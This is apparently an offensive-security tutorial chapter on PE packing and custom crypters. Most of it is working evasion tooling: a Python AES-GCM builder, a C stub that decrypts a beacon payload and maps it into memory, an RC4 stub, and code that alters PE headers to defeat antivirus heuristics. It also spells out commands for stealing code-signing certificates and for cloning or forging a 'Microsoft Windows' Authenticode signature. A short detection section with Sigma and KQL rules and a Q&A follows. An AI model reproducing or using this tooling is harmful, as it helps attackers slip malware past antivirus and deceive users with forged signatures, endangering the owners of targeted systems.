PE Packing and Custom Crypters
A crypter wraps a payload PE inside a stub binary that decrypts and loads the payload entirely in memory. The on-disk file contains only the encrypted payload — unrecognizable to static scanners — and a small stub that decrypts it at runtime. This chapter implements a full AES crypter (builder + stub), an RC4 compact stub, PE header manipulation to defeat scanner heuristics, and fake Authenticode signing for trust elevation.
Your compiled beacon.exe has a static detection rate of 38/72 on VirusTotal. Even after encoding the shellcode, the stub's characteristic import table (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) is enough for heuristic detection. You need a crypter architecture where: (1) the stub imports are minimal (no allocation APIs), (2) all sensitive strings are derived at runtime, (3) the payload is AES-256-GCM encrypted and only decryptable with a key embedded using a machine-specific value.
Packer vs Crypter vs Protector
AES Crypter: Builder (Python) + Stub (C)
#!/usr/bin/env python3
# Builder: encrypt payload, produce C header with ciphertext + key
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os, sys, struct
def build_crypter(payload_path, out_header):
with open(payload_path, 'rb') as f:
payload = f.read()
key = os.urandom(32) # AES-256 key
iv = os.urandom(12) # GCM nonce
aes = AESGCM(key)
ct = aes.encrypt(iv, payload, None) # ciphertext + 16-byte tag appended
with open(out_header, 'w') as f:
f.write('// Auto-generated — do not edit\n')
f.write(f'static const unsigned char g_key[32] = {{{",".join(str(b) for b in key)}}};\n')
f.write(f'static const unsigned char g_iv[12] = {{{",".join(str(b) for b in iv)}}};\n')
f.write(f'static const unsigned char g_ct[{len(ct)}] = {{{",".join(str(b) for b in ct)}}};\n')
f.write(f'static const unsigned int g_ct_len = {len(ct)};\n')
f.write(f'static const unsigned int g_payload_len = {len(payload)};\n')
print(f'[+] encrypted {len(payload)} bytes → {len(ct)} bytes; header: {out_header}')
if __name__ == '__main__':
build_crypter(sys.argv[1], sys.argv[2])
// Stub: decrypts g_ct using BCrypt AES-GCM, maps the plaintext PE into memory
#include <windows.h>
#include <bcrypt.h>
#pragma comment(lib, "bcrypt.lib")
#include "payload_enc.h" // generated by builder
static PBYTE AesGcmDecryptBlob(void) {
BCRYPT_ALG_HANDLE hAlg; BCRYPT_KEY_HANDLE hKey;
BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
(PUCHAR)BCRYPT_CHAIN_MODE_GCM,
sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0,
(PUCHAR)g_key, 32, 0);
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO auth;
BCRYPT_INIT_AUTH_MODE_INFO(auth);
auth.pbNonce = (PUCHAR)g_iv; auth.cbNonce = 12;
auth.pbTag = (PUCHAR)g_ct + (g_ct_len - 16);
auth.cbTag = 16;
PBYTE plain = (PBYTE)VirtualAlloc(NULL, g_payload_len,
MEM_COMMIT|MEM_RESERVE,
PAGE_READWRITE);
ULONG outLen;
BCryptDecrypt(hKey, (PUCHAR)g_ct, g_ct_len - 16,
&auth, NULL, 0, plain, g_payload_len, &outLen, 0);
BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAlg, 0);
return plain;
}
int WINAPI WinMain(HINSTANCE h, HINSTANCE p, LPSTR c, int n) {
PBYTE payload = AesGcmDecryptBlob();
// Execute via process hollowing (ch157) or manual map
// Here: use the manual PE loader from sRDI pattern
ManualMapPe(payload, g_payload_len); // loads PE, calls entry point
VirtualFree(payload, 0, MEM_RELEASE);
return 0;
}
RC4 Compact Stub
// RC4: simpler than AES, no external library, very small stub.
// Not cryptographically strong but sufficient to defeat static signature match.
// Key point: the decryption loop is under 30 instructions — fits in a
// stub with minimal footprint. Easily YARA-signatured if the RC4 S-box
// init pattern is detected, but custom variants survive longer.
void rc4(uint8_t* key, size_t klen, uint8_t* data, size_t dlen) {
uint8_t S[256]; size_t i, j = 0;
for (i = 0; i < 256; i++) S[i] = (uint8_t)i;
for (i = 0; i < 256; i++) {
j = (j + S[i] + key[i % klen]) & 0xFF;
uint8_t t = S[i]; S[i] = S[j]; S[j] = t;
}
size_t i2 = 0; j = 0;
for (size_t k = 0; k < dlen; k++) {
i2 = (i2 + 1) & 0xFF;
j = (j + S[i2]) & 0xFF;
uint8_t t = S[i2]; S[i2] = S[j]; S[j] = t;
data[k] ^= S[(S[i2] + S[j]) & 0xFF];
}
}
// Python encoder:
// from arc4 import ARC4
// key = b"CryptKey123"
// ct = ARC4(key).encrypt(payload)
PE Header Manipulation
// AV scanners read PE headers for quick classification.
// Manipulating certain fields reduces scanner confidence or breaks parsing.
// 1. Fake rich header (pre-linker MS metadata)
// Rich header is checked by some detections; replace with garbage:
void FakeRichHeader(PBYTE pe, size_t peSize) {
// The Rich header is between dos stub and e_lfanew; find "Rich" signature
PBYTE p = pe + 0x80; // typically starts after 128 bytes
while (p < pe + 0x200) {
if (*(DWORD*)p == 0x68636952) { // "Rich"
DWORD xorKey = *(DWORD*)(p + 4);
PBYTE richStart = p - 4;
while (richStart > pe && *(DWORD*)richStart != (0x536E6144 ^ xorKey))
richStart -= 4; // "DanS"
// Zero out the Rich header
memset(richStart, 0, p - richStart + 8);
return;
}
p += 4;
}
}
// 2. Modify compilation timestamp
void FakeTimestamp(PBYTE pe, DWORD fakeTimestamp) {
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pe +
((PIMAGE_DOS_HEADER)pe)->e_lfanew);
nt->FileHeader.TimeDateStamp = fakeTimestamp;
// Set to 2010 (legitimate range): 0x4C4BE4A6
}
// 3. Section name randomization (default .text .rdata .data are fingerprints)
void RandomizeSectionNames(PBYTE pe) {
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pe +
((PIMAGE_DOS_HEADER)pe)->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
const char* fakeNames[] = {".code", ".rodt", ".vrt", ".dt1", ".heap"};
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
memset(sec[i].Name, 0, 8);
strncpy((char*)sec[i].Name, fakeNames[i % 5], 8);
}
}
Authenticode Signing Tricks
# Tactic 1: Cert theft — steal a legitimate code signing cert from a compromised host
# certs stored in: HKCU\Software\Microsoft\SystemCertificates\MY
# Export via certmgr.msc or: certutil -exportpfx -p "pass" MY cert.pfx
# Tactic 2: "Certificate injection" — copy the signature from a legitimate binary
# onto your payload. Windows validates the cert chain against the payload hash;
# this will FAIL authentication — but some AV products check "is signed" boolean
# without verifying the signature. sigcheck.exe shows "Signed, Not Validated."
# Tool: CarbonCopy (github.com/paranoidninja/CarbonCopy)
python3 CarbonCopy.py valid_binary.exe payload.exe signed_payload.exe
# Tactic 3: Self-signed cert with misleading subject
# Create a cert with CN="Microsoft Windows" — shows as "Microsoft Windows" in
# Properties dialog. Most users don't check the issuer chain.
# openssl commands:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 \
-subj "/C=US/ST=Washington/O=Microsoft Corporation/CN=Microsoft Windows"
openssl pkcs12 -export -out cert.pfx -inkey key.pem -in cert.pem -passout pass:changeme
signtool sign /f cert.pfx /p changeme /t http://timestamp.sectigo.com payload.exe
# Tactic 4: Certificate transparency log avoidance
# Don't submit to CT logs — purchase from a CA that issues without CT logging
# (uncommon in 2026; most CAs enforce CT logging per CA/Browser Forum baseline)
Packer Comparison
| Crypter/Packer | Encryption | Stub size | Detection rate (fresh payload) | Shelf life |
|---|---|---|---|---|
| Public msfvenom encode | XOR (shikata) | <1KB | 60–80% day 1 | Hours |
| Veil Evasion | AES + RC4 | ~15KB | 30–50% | Days |
| ScareCrow | AES-256 | ~30KB | 5–15% | Weeks–months |
| Donut (shellcode from PE) | XTEA/AES | <5KB stub | 10–25% | Weeks |
| Custom private crypter | AES-256-GCM | Varies | 0–5% (initially) | Months–years |
| Signed (stolen/self-signed) | Any | Any | 0–10% (trust boost) | Until cert revoked |
Detection Engineering
title: High-Entropy PE File with Minimal Import Table
logsource:
product: windows
category: file_event
detection:
selection:
TargetFilename|endswith:
- '.exe'
- '.dll'
filter_legit_path:
TargetFilename|startswith:
- 'C:\Windows\'
- 'C:\Program Files\'
condition: selection AND NOT filter_legit_path
level: low
note: Combine with entropy enrichment (>7.0) and import count < 5 for higher fidelity
title: Self-Signed Code Signing Certificate in Non-Standard Store
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith: '\signtool.exe'
CommandLine|contains: 'sign'
condition: selection
level: medium
-- MDE KQL: file with VirtualAlloc + VirtualProtect in import table (stub indicator)
DeviceFileEvents
| where ActionType == "FileCreated"
| where FileName endswith ".exe" or FileName endswith ".dll"
| where FolderPath !startswith @"C:\Windows"
| where FolderPath !startswith @"C:\Program Files"
| join kind=leftouter (
DeviceProcessEvents
| where FileName endswith ".exe"
| project SHA256, ProcessCommandLine
) on $left.SHA256 == $right.SHA256
| where isempty(ProcessCommandLine) // file created but never run from installer
| project Timestamp, DeviceName, FileName, FolderPath, SHA256,
InitiatingProcessFileName
Q&A
Why does a "private" crypter maintain a low detection rate for much longer than a public one, even if both use AES-256?
The encryption algorithm is only one dimension of detection. AES-256 is theoretically unbreakable — defenders cannot reverse the ciphertext to recover the payload without the key. But detection doesn't work by decrypting the payload. It works by detecting the decryption stub, the behavioral patterns during execution, and the structural properties of the file.
A public crypter like Veil or ScareCrow is submitted to VirusTotal by security researchers within hours of release, sometimes by the tool's authors themselves. The stub binary — the decryption wrapper — is analyzed and its byte patterns are added to signature databases within days. Future payloads wrapped with the same stub are detected based on the stub's signatures, not the payload's. The AES key and ciphertext are completely irrelevant to the detection. AV is detecting "this is the Veil decryption stub" not "this binary contains malicious shellcode."
A private crypter that has never been submitted to any public scanner has no stub signatures in any database. Its import table pattern, section layout, PE timestamp, rich header composition, and code sequence are all unknown — there's nothing to match against. The only detection vectors are behavioral: the decryption loop (recognized as self-modifying if it writes then executes), the final VirtualAlloc + VirtualProtect + execution sequence, and the spawned payload's own behavior. These behavioral detections are harder to tune because they produce false positives on legitimate software that does similar operations (installers, JIT compilers, DRM systems).
The practical implication for detection engineering is that static file-based detection of crypters should focus on structural anomalies (very high entropy, very few imports, anomalous section characteristics) rather than trying to match specific stub sequences — stub sequences are always evolving. Behavioral detection (memory allocation + permission change + execution from private memory) is more durable but requires careful tuning to avoid firing on legitimate software.